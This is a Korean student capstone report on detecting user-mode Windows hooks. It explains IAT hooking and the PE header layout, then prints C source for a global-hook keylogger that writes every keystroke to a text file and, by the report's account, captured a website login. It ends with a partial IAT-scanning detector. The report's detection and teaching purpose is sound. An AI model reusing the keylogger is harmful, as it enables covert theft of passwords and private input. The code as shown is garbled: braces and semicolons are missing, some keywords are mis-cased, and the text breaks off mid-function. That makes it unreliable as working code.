유저영역후킹탐지시스템 팀 명 : D.N.F (Do Not Fishing) 지도교수 : 유승재교수님 팀 장 : 신동순 팀 원 : 서현찬이치목 중부대학교정보보호학과

Similar documents
1장 윈도우 프로그래밍 들어가기

<4D F736F F F696E74202D203031C0E520C0A9B5B5BFEC20C7C1B7CEB1D7B7A1B9D620B1E2C3CA5FBFB5B3B2C0CCB0F8B4EB205BC8A3C8AF20B8F0B5E55D>

MFC 프로그래밍

Microsoft PowerPoint - 09-CE-14-리스트콤보박스

Microsoft PowerPoint - hci2-lecture1.ppt

2014 년정보보호졸업작품보고서 파일유출방지시스템 지도교수님 : 양환석교수님 팀명 : LKC Security 팀원 : 이호영, 김상우, 최유택 중부대학교정보보호학과

Microsoft PowerPoint - hci2-lecture1.ppt

Microsoft PowerPoint - 04windows.ppt

윈도우 프로그래밍

Microsoft PowerPoint - 09-CE-5-윈도우 핸들

예제와 함께 배워보는 OllyDbg사용법

Microsoft PowerPoint - 09-CE-24-채팅 프로그램

Microsoft PowerPoint - 09-CE-25-오목게임

Chapter 1. MFC 시작하기

K&R2 Reference Manual 번역본

5장 MFC기반 다지기

2015 년정보보호학과졸업작품보고서 USB 를이용한 System Lock 및 File Security Service 팀명 : Team IU ( Intelligent USB ) 지도교수 : 양정모교수님 조장 : 조상일 유승우 조한슬 중부대학교정보보호학과

윈도우즈 프로그래밍

<33372DC0A9B5B5BFECC7C1B7CEB1D7B7A1B9D62E687770>

IS119_Message.Hooking_이성재.hwp

Content 1. DLL? 그게뭐야?

최종보고서 SMT (System Monitoring Tool : 시스템자원모니터링툴 ) 팀명 : Point of C++ 팀장 : 한소라 (11학번) 팀원 : 이재익 (09학번) 한우영 (09학번) 김은지 (11학번) 지도교수 : 양정모교수님 - 1 -

In this tutorial i'll try to cover all of the known methods(or at least, those that I know =p) of injecting dll's into a proce

PowerPoint 프레젠테이션

슬라이드 1

Microsoft PowerPoint - (제14강)Win32 API.ppt

04장 메시지 처리 유형

제목

윈도우즈 프로그래밍

윈도우 프로그래밍의 개념

Microsoft PowerPoint - chap02-C프로그램시작하기.pptx

슬라이드 1

Microsoft PowerPoint - chap10-함수의활용.pptx

Chapter #01 Subject

Microsoft PowerPoint - 09-CE-7-선과 도형

C프로-3장c03逞풚

<312DBED5BACEBCD328B8D3B8AEB8BB2CB8F1C2F7292DBCF6C1A42E687770>

Microsoft PowerPoint - (제15강)Win32 API.ppt

<4D F736F F F696E74202D20B8AEB4AABDBA20BFC0B7F920C3B3B8AEC7CFB1E22E BC8A3C8AF20B8F0B5E55D>


Deok9_PE Structure

개요 1. 후킹이란? 후킹의정의.. 2 후킹의종류 2 앞으로 후킹프로그램을위한사전지식들 Window 에서 data 입력과정.. 3 DLL ( Dynamic Link Library ).. 4 메시지후킹을위해필요한지식들 5 3. 후킹프로그램제작에필요한 API

슬라이드 1

<4D F736F F F696E74202D B3E22032C7D0B1E220C0A9B5B5BFECB0D4C0D3C7C1B7CEB1D7B7A1B9D620C1A638B0AD202D20C7C1B7B9C0D320BCD3B5B5C0C720C1B6C0FD>

Microsoft PowerPoint - chap01-C언어개요.pptx

목 차 1. 개요 2. PE(Portable Executable) 이란? 3. IMAGE_DOS_HEADER 4. IMAGE_NT_HEADER 1) IMAGE_FILE_HEADER 2) IMAGE_OPTIONAL_HEADER 3) IMAGE_DATA_DIRECTORY

슬라이드 1

PowerPoint 프레젠테이션

[ 마이크로프로세서 1] 2 주차 3 차시. 포인터와구조체 2 주차 3 차시포인터와구조체 학습목표 1. C 언어에서가장어려운포인터와구조체를설명할수있다. 2. Call By Value 와 Call By Reference 를구분할수있다. 학습내용 1 : 함수 (Functi

윈도우즈 프로그래밍

기술문서 LD_PRELOAD 와공유라이브러리를사용한 libc 함수후킹 정지훈

Microsoft PowerPoint - chap11-포인터의활용.pptx

< E20C6DFBFFEBEEE20C0DBBCBAC0BB20C0A7C7D12043BEF0BEEE20492E707074>

12 강. 문자출력 Direct3D 에서는문자를출력하기위해서 LPD3DXFONT 객체를사용한다 LPD3DXFONT 객체생성과초기화 LPD3DXFONT 객체를생성하고초기화하는함수로 D3DXCreateFont() 가있다. HRESULT D3DXCreateFont

윈도우즈 프로그래밍

Microsoft PowerPoint - ch09 - 연결형리스트, Stack, Queue와 응용 pm0100

프로그램을 학교 등지에서 조금이라도 배운 사람들을 위한 프로그래밍 노트 입니다. 저 역시 그 사람들 중 하나 입니다. 중고등학교 시절 학교 도서관, 새로 생긴 시립 도서관 등을 다니며 책을 보 고 정리하며 어느정도 독학으르 공부하긴 했지만, 자주 안하다 보면 금방 잊어

UI TASK & KEY EVENT

03장.스택.key

Microsoft PowerPoint - chap13-입출력라이브러리.pptx

0. 표지에이름과학번을적으시오. (6) 1. 변수 x, y 가 integer type 이라가정하고다음빈칸에 x 와 y 의계산결과값을적으시오. (5) x = (3 + 7) * 6; x = 60 x = (12 + 6) / 2 * 3; x = 27 x = 3 * (8 / 4

<443A5C4C C4B48555C B3E25C32C7D0B1E25CBCB3B0E8C7C1B7CEC1A7C6AE425CC0E7B0EDB0FCB8AE5C53746F636B5F4D616E D656E74732E637070>

4S 1차년도 평가 발표자료

Microsoft Word - hook8.doc

<4D F736F F F696E74202D203032C0E520C0AFC6BFB8AEC6BC20C5ACB7A1BDBABFCD20C1FDC7D520C5ACB7A1BDBA5FBFB5B3B2C0CCB0F8B4EB205BC8A3C8AF20B8F0B5E55D>

11장 포인터

<443A5C4C C4B48555C B3E25C32C7D0B1E25CBCB3B0E8C7C1B7CEC1A7C6AE425CBED0C3E0C7C1B7CEB1D7B7A55C D616E2E637070>

이번장에서학습할내용 동적메모리란? malloc() 와 calloc() 연결리스트 파일을이용하면보다많은데이터를유용하고지속적으로사용및관리할수있습니다. 2

Chapter_02-3_NativeApp

PowerPoint 프레젠테이션

UI TASK & KEY EVENT

초보자를 위한 C# 21일 완성

금오공대 컴퓨터공학전공 강의자료

Microsoft Word - Crackme 15 from Simples 문제 풀이_by JohnGang.docx

Microsoft PowerPoint - hci2-lecture5-messagemap.ppt

PowerPoint 프레젠테이션

Microsoft PowerPoint - [2009] 02.pptx

학습목차 2.1 다차원배열이란 차원배열의주소와값의참조

Lab 3. 실습문제 (Single linked list)_해답.hwp

아이콘의 정의 본 사용자 설명서에서는 다음 아이콘을 사용합니다. 참고 참고는 발생할 수 있는 상황에 대처하는 방법을 알려 주거나 다른 기능과 함께 작동하는 방법에 대한 요령을 제공합니다. 상표 Brother 로고는 Brother Industries, Ltd.의 등록 상

API 매뉴얼

C 언어 프로그래밊 과제 풀이

/chroot/lib/ /chroot/etc/

PowerPoint 프레젠테이션

1. 개요 악성코드는여러분류로나누어볼수가있다. 이중일반사용자의입장에서 악성코드 라는단어보다친숙한 바이러스 가있다. 사실필자도보안을공부하기이전에는 악성코드 라는단어는아예들어보지못했고, 대신 바이러스 라는단어로모든악성코드를지칭했었다. 바이러스는악성코드분류의한종류로 스스로를

BMP 파일 처리

untitled

<4D F736F F F696E74202D20C1A63034B0AD202D20C7C1B7B9C0D3B8AEBDBAB3CABFCD20B9ABB9F6C6DBC0D4B7C2>

UI TASK & KEY EVENT

Lab 4. 실습문제 (Circular singly linked list)_해답.hwp

PowerPoint 프레젠테이션

Microsoft PowerPoint - CPP_chap1

슬라이드 1

연재순서 실행파읷속으로 필자소개 싞영짂 웰비아닶컴에서보안프로그래머로읷하고있다. 시스템프로그래밍에관심이많으며다수의 PC 보안프로그램개발에참여했다. 현재데브피아 Visual C++ 섹션시

Microsoft PowerPoint - chap12-고급기능.pptx

제 14 장포인터활용 유준범 (JUNBEOM YOO) Ver 본강의자료는생능출판사의 PPT 강의자료 를기반으로제작되었습니다.

<4D F736F F D20B0ADB5BFC7F65FB1E2BCFAB9AEBCAD5F4645B1B8C1B620B1E2BCFAB9AEBCAD5F66726F6D E6B5F66696E F2E646F63>

Microsoft PowerPoint - 07-Data Manipulation.pptx

쉽게 풀어쓴 C 프로그래밍


Transcription:

유저영역후킹탐지시스템 팀 명 : D.N.F (Do Not Fishing) 지도교수 : 유승재교수님 팀 장 : 신동순 팀 원 : 서현찬이치목 2016. 05 중부대학교정보보호학과

목 차 1. 서론 2. 관련연구 2.1 IAT 후킹 2.2 PE 구조 3. 본론 3.1 유저영역후킹작성및실행 3.2 유저영역후킹탐지 4. 결론 5. 참고자료 6. 발표자료

1. 서론 현재온라인게임이나온라인뱅킹업무에해킹사례가늘어나고있다. 이러한해킹기법중하나인후킹기술에대하여연구하려고한다. 후킹기법은 Windows에서자주일어나며후킹의종류는커널후킹 ( 루트킷 ), 유저영역후킹이있다. 우리는그중유저영역의후킹을탐지하려고한다. 다시유저영역의후킹은 IAT후킹, EAT후킹, 직접적인코드를삽입하는코드후킹등이있다. 이러한후킹중에서 IAT후킹을직접구현해보고이를탐지할수있는방법을소개할것이다. 먼저후킹에대한이해가필요하다후킹이란도대체어떤것인가? 후킹이하는역할은무 엇인가? 이를탐지하려면어떻게해야하는가를설명하겠다. 먼저후킹이란무엇인가? 후킹 (hooking) 은소프트웨어공학용어로, 운영체제나응용소프트웨어등의각종컴퓨터프로그램에서소프트웨어구성요소간에발생하는함수호출, 메시지, 이벤트등을중간에서바꾸거나가로채는명령, 방법, 기술이나행위를말한다. 이때이러한간섭된함수호출, 이벤트또는메시지를처리하는코드를후크 (hook) 라고한다. (1) 후킹의정의이다. 이러한후킹이과연실제컴퓨터에선어떻게일어나는지아래그림을보 면알수있다. ( 그림 1. 후킹과정 ) ( 그림 1) 을보게되면후킹을아주잘나타내고있다. NotePad.exe 에서 Kernel32.dll 로 call 과 return 을서로하게된다. 하지만중간에 Hook.dll 이라는 dll 이껴들어중간과정을

가로채고있다. 이러한모든행위를후킹이라고한다. 즉, 프로세스와커널, 프로세스와프로세스사이에통신과정을중간에훔치거나조작하는행위를후킹이라고한다. 우리는이러한후킹중에유저영역에서일어나는후킹, IAT 후킹을설명할것이다. 본문에서사용되는운영체제는 Windows7 32bit를사용하였고, 컴파일러로는 Visual Studio 2015 Community 버전을사용하였다. 2. 관련연구 2.1 IAT 후킹 ( 그림 2. IAT) IAT(Import Address Table) 는프로세스의함수들을관리한다. 함수들이메모리어디에적재되고있는지를알수있는테이블이다. 즉, 이테이블을후킹하여함수를알아내고함수를후킹하여원하는정보를가로채는후킹방법이다. 우리는 IAT를이용하여탐지를할것이다. 이 IAT는 PE구조안에들어가있다. 그럼 PE구조가무엇인지알아야 IAT를이용을할것이다. 2.2 PE 구조 PE(Portable Executable) 의종류는아래표 1 과같다. 실행파일계열라이브러리계열드라이버계열오브젝트파일계열 EXE, SCR DLL, OCX SYS OBJ ( 표 1. PE Menu)

OBJ파일을제외한모든파일은실행이가능한파일이다. 실행이가능한파일들은모두 PE 헤더를갖고있다. 어떻게메모리에적재되고, 어디에서부터실행해야하는지, 실행에필요한 DLL들은어떤것이있고, 필요한 Stack/Heap은어디서부터어디까지인지등이 PE헤더안에모두들어가있다. 그만큼 PE헤더는중요하다. PE 헤더에는이러한정보들이모두구조체로정의되어있다. 이 PE헤더안에 IAT도구조체로정의되어있다. 그러므로 PE헤더를꼭알고넘어가야한다. ( 그림 3. PE 헤더기본구조 ) 이러한형식으로 PE 헤더는저장되어있다. 여기서 IAT 를이용하여후킹을탐지할것이다. 3. 본론 3.1 유저영역키로거작성및실행 후킹을탐지하기위해선어떻게후킹이되어야하는지알아야한다. 그러므로직접적으로키로거작성과직접적으로실행을해보겠다. 전역적인후킹을이용하여시스템자체를후킹을하고키보드의입력값을 C드라이브아래에 test.txt 파일에저장이되게만들었다. Hooker.dll 에서후킹을실제적으로하는함수들이들어있고 D.N.F_ATTACK에는실제메인소스가들어있다. 메인소스에서는 hooker.dll을호출하고윈도우폼에관련된소스들이있다. #include <Windows.h> #include<stdio.h> extern "C" declspec(dllexport) LRESULT CALLBACK GetMsgProc(INT ncode, WPARAM wp, LPARAM lp) if(((msg*)lp)->message == (long)wm_char)

HANDLE hfile; DWORD dwwrite; hfile = CreateFile(TEXT("c:\\test.txt"), GENERIC_WRITE, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); SetFilePointer(hFile, 0, 0, FILE_END); WriteFile(hFile, &((MSG*)lp)->wParam, 1, &dwwrite, NULL); CloseHandle(hFile); return TRUE; ( 소스 1. Hooker.dll) 위의소스코드는 Hooker.dll 이고아래소스부터는 D.N.F_attack 의메인소스이다. #include<windows.h> #include<stdio.h> #include"resource.h" #include <commctrl.h>// 리스트뷰헤더 #include "tlhelp32.h"// 프로세스정보헤더 #include <gdiplus.h> #include "richedit.h" #pragma comment(lib, "Gdiplus.lib") using namespace Gdiplus; void HookProc(HWND hwnd); void OnPaint(HDC hdc, const wchar_t* name, int high, int weigt); BOOL CALLBACK AboutDlgProc(HWND hdlg, UINT imessage, WPARAM wparam, LPARAM lparam); LRESULT CALLBACK WndProc(HWND hwnd, UINT imessage, WPARAM wparam, LPARAM lparam); HINSTANCE g_hinst; static HHOOK hkeyhook; LPCTSTR TeamName = TEXT("D.N.F_Attack"); LPCTSTR hook = TEXT("API HOOKING");

int WINAPI WinMain(HINSTANCE hinstance, HINSTANCE hprevinstance, LPSTR lpcmdline, int nshowcmd) HWND hwnd; MSG message; WNDCLASS wndclass; HMODULE hmod; wndclass.cbclsextra = 0; wndclass.cbwndextra = 0; wndclass.hbrbackground = CreateSolidBrush(RGB(255, 255, 255));; wndclass.hcursor = LoadCursor(NULL, IDC_ARROW); wndclass.hicon = LoadIcon(hInstance, (LPCWSTR)IDI_logoA); wndclass.hinstance = g_hinst; wndclass.lpfnwndproc = (WNDPROC)WndProc; wndclass.lpszclassname = TeamName; wndclass.lpszmenuname = MAKEINTRESOURCE(IDR_MENU1); wndclass.style = NULL ULONG_PTR gptoken;// GDI+ 쓰려면이거써야함 ( 로고박으려면 ) GdiplusStartupInput gpsi; if (GdiplusStartup(&gpToken, &gpsi, NULL)!= Ok) MessageBox(NULL, TEXT("GDI+ 라이브러리를초기화할수없습니다."), TEXT(" 알림 "), MB_OK); return 0; RegisterClass(&wndclass); hwnd = CreateWindow(TeamName, TeamName, WS_OVERLAPPED WS_SYSMENU WS_MINIMIZEBOX, CW_USEDEFAULT, CW_USEDEFAULT, 250, 300, NULL, (HMENU)NULL, g_hinst, NULL); ShowWindow(hWnd, nshowcmd); while (GetMessage(&message, NULL, 0, 0)) TranslateMessage(&message); DispatchMessage(&message); return message.wparam; void HookProc(HWND hwnd)// 후킹함수

static HINSTANCE hinstdll; HOOKPROC hgetmsgproc; hinstdll = LoadLibrary(TEXT("hooker.dll")); if (!hinstdll) MessageBox(hWnd, TEXT("hooker.dll을로드할수없습니다."), TEXT(" 오류 "), MB_OK); ExitProcess(1); hgetmsgproc = (HOOKPROC)GetProcAddress(hinstDll, "GetMsgProc"); if (!hgetmsgproc) MessageBox(hWnd, TEXT("GetMsgProc 함수를찾을수없습니다."), TEXT(" 오류 "), MB_OK); FreeLibrary(hinstDll); ExitProcess(1); hkeyhook = SetWindowsHookEx(WH_GETMESSAGE, hgetmsgproc, hinstdll, 0); if (!hkeyhook) MessageBox(hWnd, TEXT("Hooking을성공하지못했습니다."), TEXT(" 오류 "), MB_OK); FreeLibrary(hinstDll); ExitProcess(1); void OnPaint(HDC hdc, const wchar_t* name, int high, int weigt)// 로고박는거 Graphics G(hdc); Image image(name); G.DrawImage(&image, high, weigt); BOOL CALLBACK AboutDlgProc(HWND hdlg, UINT imessage, WPARAM wparam, LPARAM lparam)// 도움말 switch (imessage) case WM_INITDIALOG: return TRUE case WM_COMMAND: switch (LOWORD(wParam)) case IDOK: EndDialog(hDlg, IDOK); return TRUE

case IDCANCEL: EndDialog(hDlg, IDCANCEL); return TRUE break return FALSE LRESULT CALLBACK WndProc(HWND hwnd, UINT imessage, WPARAM wparam, LPARAM lparam) LPARAM lp = (LPARAM)lParam int ret = FALSE static int i = 0; switch (imessage) case WM_CREATE: CreateWindow(TEXT("button"), TEXT(" 시작 / 중지 "), WS_CHILD WS_VISIBLE BS_PUSHBUTTON, 115, 10, 100, 25, hwnd, (HMENU)i, g_hinst, NULL); return 0; case WM_COMMAND: switch (LOWORD(wParam)) case ID_Help_info: DialogBox(g_hInst, MAKEINTRESOURCE(IDD_Help), hwnd, AboutDlgProc); return 0; switch (HIWORD(wParam)) case BN_CLICKED: i++; if (i == TRUE) HookProc(hWnd); MessageBox(hWnd, TEXT(" 후킹이시작되었습니다."), TEXT(" 알림 "), MB_OK); return TRUE else ret = UnhookWindowsHookEx(hKeyHook); hkeyhook = NULL MessageBox(hWnd, TEXT(" 후킹이중지되었습니다."), TEXT(" 알림 "), MB_OK);

i = 0; return ret; return 0; case WM_PAINT:// 항상글자출력 PAINTSTRUCT ps; HDC hdc; hdc = BeginPaint(hWnd, &ps); SetBkColor(hdc, RGB(255, 255, 255)); TextOut(hdc, 15, 15, hook, lstrlen(hook)); TextOut(hdc, 40, 200, TEXT("Copyright(C) 2016 D.N.F"), lstrlen(text("copyright(c) 2016 D.N.F"))); TextOut(hdc, 55, 220, TEXT("All rights reserved"), lstrlen(text("all rights reserved"))); OnPaint(hdc, L"C:\\resource\\logo.png", 30, 120); OnPaint(hdc, L"C:\\resource\\teamA.png", 48, 80); EndPaint(hWnd, &ps); return 0; case WM_DESTROY: PostQuitMessage(0); break return DefWindowProc(hWnd, imessage, wparam, lparam); ( 소스 2. D.N.F_Attack) 각소스코드를컴파일하고실행하게되면아래와같은화면을볼수있다. ( 그림 4. D.N.F_Attack 실행화면 )

API Hooking 시작을누르게되면후킹이시작된다. 시작과동시에시스템전역으로후킹 을하게되고모든프로세스에서키보드를후킹하게된다. ( 그림 5. 웹사이트로그인후킹 ) 3.2 유저영역후킹탐지 먼저 SetWindowsHookEx를탐지해야한다. SetWindwosHookEx는메시지에훅을거는함수다. 또한이함수는 IAT에서볼수있다. 즉프로세스에서 SetWindowsHookEx를사용하게되면 IAT에등록이된다. 이함수들을 PEHeader를이용하여어디서어떻게사용되는지볼수있다. PEHeader의첫부분은항상 DOS_HEADER로시작된다. 이를덤프하게되면 MZ로시작하는문자열이나오게된다. 여기서부터 NT_HEADER와 OPTIONAL_HEADER의오프셋을구하고다시여기서 IAT의주소를구할수있다. IAT에서 SetWindowsHookEx를찾고만약존재한다면이프로세스 ( 또는 DLL) 에선함수를사용하는것이고위험한프로세스로판단하면된다. 이를의심테이블에등록하고테이블에서 DLL들을볼수있으며 "hook" 이들어간함수들을모두검출하게된다. #include <Windows.h> #include <stdio.h> #include "resource.h" #include <commctrl.h>// 리스트뷰헤더 #include <tlhelp32.h>// 프로세스정보헤더 #include <gdiplus.h> #include <psapi.h>

#include <string.h> #include <atlstr.h> #include <commctrl.h> #pragma comment(lib, "Gdiplus.lib") using namespace Gdiplus; void GetPath(DWORD processid); void IATScanner(LPCTSTR szfilename, int num, HWND *hlist2); void PrintFuc(LPCTSTR szfilename, int num); void OnInitCOL(HWND hlist); void GetProcess(HWND *hlist); BOOL CALLBACK AboutDlgProc(HWND hdlg, UINT imessage, WPARAM wparam, LPARAM lparam); BOOL CALLBACK DetailDlgProc(HWND hdlg, UINT imessage, WPARAM wparam, LPARAM lparam); LRESULT CALLBACK WndProc(HWND hwnd, UINT imessage, WPARAM wparam, LPARAM lparam); HWND hwnd; HINSTANCE g_hinst; LPCTSTR TeamName = TEXT("D.N.F_Detector"); HWND hlist, hlist2, Detail1, Detail2;// 리스트뷰핸들값 DWORD PID[MAX_PATH]; HMODULE BASE[MAX_PATH]; TCHAR *Pname[MAX_PATH] = 0, ; TCHAR *Ppath[MAX_PATH] = 0, ; TCHAR *FucList[128][128] = 0, ; int PIDsize; struct LIST_ITEM_INFO COLORREFcolorBK;// 배경색 COLORREFcolorText;// 글씨색 TCHARstr[MAX_PATH]; olistitem[128]; int WINAPI WinMain(HINSTANCE hinstance, HINSTANCE hprevinstance, LPSTR lpcmdline, int nshowcmd)

MSG message; WNDCLASS wndclass; HACCEL Accel; Accel = LoadAccelerators(hInstance, MAKEINTRESOURCE(IDR_ACCELERATOR1));// 새로고침단축키 wndclass.cbclsextra = 0; wndclass.cbwndextra = 0; wndclass.hbrbackground = CreateSolidBrush(RGB(255, 255, 255)); wndclass.hcursor = LoadCursor(NULL, IDC_ARROW); wndclass.hicon = LoadIcon(hInstance, (LPCTSTR)IDI_logoD); wndclass.hinstance = g_hinst; wndclass.lpfnwndproc = (WNDPROC)WndProc; wndclass.lpszclassname = TeamName; wndclass.lpszmenuname = MAKEINTRESOURCE(IDR_MENU1); wndclass.style = NULL ULONG_PTR gptoken;// GDI+ 쓰려면이거써야함 (PNG 파일사용할때 ) GdiplusStartupInput gpsi; if (GdiplusStartup(&gpToken, &gpsi, NULL)!= Ok) MessageBox(NULL, TEXT("GDI+ 라이브러리를초기화할수없습니다."), TEXT(" 알림 "), MB_OK); return 0; RegisterClass(&wndclass); hwnd = CreateWindow(TeamName, TeamName, WS_CAPTION WS_SYSMENU WS_MINIMIZEBOX, CW_USEDEFAULT, CW_USEDEFAULT, 1000, 370, NULL, (HMENU)NULL, g_hinst, NULL); ShowWindow(hWnd, nshowcmd); while (GetMessage(&message, NULL, 0, 0)) if (!TranslateAccelerator(hWnd, Accel, &message)) TranslateMessage(&message); DispatchMessage(&message); return message.wparam; void GetPath(DWORD processid)// 프로세스절대주소가져오기

HMODULE hmods[128]; HANDLE hprocess; DWORD cbneeded; TCHAR szmodname[max_path]; static int count = 0; hprocess = OpenProcess(PROCESS_QUERY_INFORMATION PROCESS_VM_READ, FALSE, processid); if (NULL == hprocess) return if (Ppath[count + 2] == NULL) Ppath[count + 2] = (TCHAR *)calloc(1, _countof(szmodname)* sizeof(tchar)); ZeroMemory(szModName, sizeof(szmodname)); EnumProcessModules(hProcess, hmods, sizeof(hmods), &cbneeded); GetModuleFileNameEx(hProcess, NULL, szmodname, sizeof(szmodname) / sizeof(tchar)); wcscpy_s(ppath[count + 2], _countof(szmodname), szmodname); BASE[count] = hmods[0]; count++; CloseHandle(hProcess); if (processid == PID[PIDsize - 1])count = 0; void IATScanner(LPCTSTR szfilename, int num, HWND *hlist2)// IAT 검사 int i = 0; static int count = 0; bool check = FALSE if (num == 0) SendMessage(*hList2, LVM_DELETEALLITEMS, 0, 0); count = 0; HANDLE hfile = CreateFile(szFileName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);

if (hfile == INVALID_HANDLE_VALUE) return HANDLE himgmap = CreateFileMapping(hFile, NULL, PAGE_READONLY, 0, 0, NULL); if (himgmap == NULL) return PVOID pimgview = MapViewOfFile(hImgMap, FILE_MAP_READ, 0, 0, 0); if (pimgview == NULL) return PIMAGE_DOS_HEADER psehidh = (PIMAGE_DOS_HEADER)pImgView; PIMAGE_NT_HEADERS psehinh = (PIMAGE_NT_HEADERS)((DWORD)pSehIDH + psehidh->e_lfanew); PIMAGE_OPTIONAL_HEADER pioh = (PIMAGE_OPTIONAL_HEADER)&pSehINH->OptionalHeader; PIMAGE_DATA_DIRECTORY pidd = &pioh->datadirectory[image_directory_entry_import]; PIMAGE_SECTION_HEADER psec = (PIMAGE_SECTION_HEADER)((PBYTE)pIOH + sizeof(image_optional_header)); PIMAGE_SECTION_HEADER pish = NULL PIMAGE_FILE_HEADER pifh = &psehinh->fileheader; int wnumofsec = pifh->numberofsections; //.idata 섹션이따로존재하지않고다른섹션에포함되어있는경우가많음 // 그래서섹션헤더를하나씩검사하면서.idata 섹션의위치를구함 for (int i = 0; i < wnumofsec; ++i) if (pidd->virtualaddress >= psec[i].virtualaddress && pidd->virtualaddress < psec[i].virtualaddress + psec[i].misc.virtualsize) pish = &psec[i]; break if (pish == NULL) MessageBox(hWnd, TEXT("No Imports Table Found"), TEXT(" 오류 "), MB_OK); return

DWORD dwdelta = pish->virtualaddress - pish->pointertorawdata; if (pidd->virtualaddress - dwdelta >= pioh->sizeofimage) MessageBox(hWnd, TEXT("No Imports Table Found"), TEXT(" 오류 "), MB_OK); return PIMAGE_IMPORT_DESCRIPTOR piid = (PIMAGE_IMPORT_DESCRIPTOR)((PBYTE)pImgView + pidd->virtualaddress - dwdelta); for (i = 0; piid[i].originalfirstthunk piid[i].firstthunk; ++i) if (piid[i].originalfirstthunk) if (piid[i].originalfirstthunk - dwdelta >= pioh->sizeofimage piid[i].firstthunk - dwdelta >= pioh->sizeofimage) goto $end; PIMAGE_THUNK_DATA32 poft = (PIMAGE_THUNK_DATA32)((PBYTE)pImgView + piid[i].originalfirstthunk - dwdelta); PIMAGE_THUNK_DATA32 piat = (PIMAGE_THUNK_DATA32)((PBYTE)pImgView + piid[i].firstthunk - dwdelta); for (int j = 0; *((PDWORD)pOFT + j); ++j) if (*((PDWORD)pOFT + j) - dwdelta < pioh->sizeofimage) PIMAGE_IMPORT_BY_NAME piibn = (PIMAGE_IMPORT_BY_NAME)((PBYTE)pImgView + *((PDWORD)pOFT + j) - dwdelta); if (strstr(piibn->name, "Hook")!= NULL) check = TRUE else if (piid[i].firstthunk) if (piid[i].firstthunk - dwdelta >= pioh->sizeofimage) goto $end; PIMAGE_THUNK_DATA32 piat = (PIMAGE_THUNK_DATA32)((PBYTE)pImgView + piid[i].firstthunk - dwdelta); for (int j = 0; *((PDWORD)pIAT + j); ++j)

if (*((PDWORD)pIAT + j) - dwdelta < pioh->sizeofimage) PIMAGE_IMPORT_BY_NAME piibn = (PIMAGE_IMPORT_BY_NAME)((PBYTE)pImgView + *((PDWORD)pIAT + j) - dwdelta); if (strstr(piibn->name, "Hook")!= NULL) check = TRUE $end:; TCHAR arr[10] = 0, ; LVITEM LI; if (check) LI.mask = LVIF_TEXT LI.iItem = count; // 행 ( 전체화면- 캡션포함 ) LI.iSubItem = 0; // 열 LI.pszText = Pname[num]; // 문자열값 wsprintf(arr, TEXT("%d"), PID[num]); ListView_InsertItem(*hList2, &LI); ListView_SetItemText(*hList2, count, 1, arr); count++; void PrintFuc(LPCTSTR szfilename, int num)// IAT 프린트 memset(fuclist, 0, sizeof(fuclist)); int i = 0; TCHAR arr[128] = 0, ; HANDLE hfile = CreateFile(szFileName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL); if (hfile == INVALID_HANDLE_VALUE) return HANDLE himgmap = CreateFileMapping(hFile, NULL, PAGE_READONLY, 0, 0, NULL); if (himgmap == NULL)

return PVOID pimgview = MapViewOfFile(hImgMap, FILE_MAP_READ, 0, 0, 0); if (pimgview == NULL) return PIMAGE_DOS_HEADER psehidh = (PIMAGE_DOS_HEADER)pImgView; PIMAGE_NT_HEADERS psehinh = (PIMAGE_NT_HEADERS)((DWORD)pSehIDH + psehidh->e_lfanew); PIMAGE_OPTIONAL_HEADER pioh = (PIMAGE_OPTIONAL_HEADER)&pSehINH->OptionalHeader; PIMAGE_DATA_DIRECTORY pidd = &pioh->datadirectory[image_directory_entry_import]; PIMAGE_SECTION_HEADER psec = (PIMAGE_SECTION_HEADER)((PBYTE)pIOH + sizeof(image_optional_header)); PIMAGE_SECTION_HEADER pish = NULL PIMAGE_FILE_HEADER pifh = &psehinh->fileheader; int wnumofsec = pifh->numberofsections; //.idata 섹션이따로존재하지않고다른섹션에포함되어있는경우가많음 // 그래서섹션헤더를하나씩검사하면서.idata 섹션의위치를구함 for (int i = 0; i < wnumofsec; ++i) if (pidd->virtualaddress >= psec[i].virtualaddress && pidd->virtualaddress < psec[i].virtualaddress + psec[i].misc.virtualsize) pish = &psec[i]; break if (pish == NULL) MessageBox(hWnd, TEXT("No Imports Table Found"), TEXT(" 오류 "), MB_OK); return DWORD dwdelta = pish->virtualaddress - pish->pointertorawdata; if (pidd->virtualaddress - dwdelta >= pioh->sizeofimage) MessageBox(hWnd, TEXT("No Imports Table Found"), TEXT(" 오류 "), MB_OK); return

PIMAGE_IMPORT_DESCRIPTOR piid = (PIMAGE_IMPORT_DESCRIPTOR)((PBYTE)pImgView + pidd->virtualaddress - dwdelta); for (i = 0; piid[i].originalfirstthunk piid[i].firstthunk; ++i) if (piid[i].name - dwdelta < pioh->sizeofimage) wsprintf(arr, L"%S", (LPCTSTR)((PBYTE)pImgView + piid[i].name - dwdelta)); SendMessage(Detail1, LB_ADDSTRING, 0, (LPARAM)arr); if (piid[i].originalfirstthunk) if (piid[i].originalfirstthunk - dwdelta >= pioh->sizeofimage piid[i].firstthunk - dwdelta >= pioh->sizeofimage) goto $end; PIMAGE_THUNK_DATA32 poft = (PIMAGE_THUNK_DATA32)((PBYTE)pImgView + piid[i].originalfirstthunk - dwdelta); PIMAGE_THUNK_DATA32 piat = (PIMAGE_THUNK_DATA32)((PBYTE)pImgView + piid[i].firstthunk - dwdelta); for (int j = 0; *((PDWORD)pOFT + j); ++j) if (*((PDWORD)pOFT + j) - dwdelta < pioh->sizeofimage) PIMAGE_IMPORT_BY_NAME piibn = (PIMAGE_IMPORT_BY_NAME)((PBYTE)pImgView + *((PDWORD)pOFT + j) - dwdelta); wsprintf(arr, L"%S", piibn->name); if (FucList[i][j] == NULL) FucList[i][j] = (TCHAR *)calloc(1, _countof(arr)* sizeof(tchar)); wcscpy_s(fuclist[i][j], _countof(arr), arr); else if (piid[i].firstthunk) if (piid[i].firstthunk - dwdelta >= pioh->sizeofimage) goto $end; PIMAGE_THUNK_DATA32 piat = (PIMAGE_THUNK_DATA32)((PBYTE)pImgView + piid[i].firstthunk - dwdelta); for (int j = 0; *((PDWORD)pIAT + j); ++j) if (*((PDWORD)pIAT + j) - dwdelta < pioh->sizeofimage)

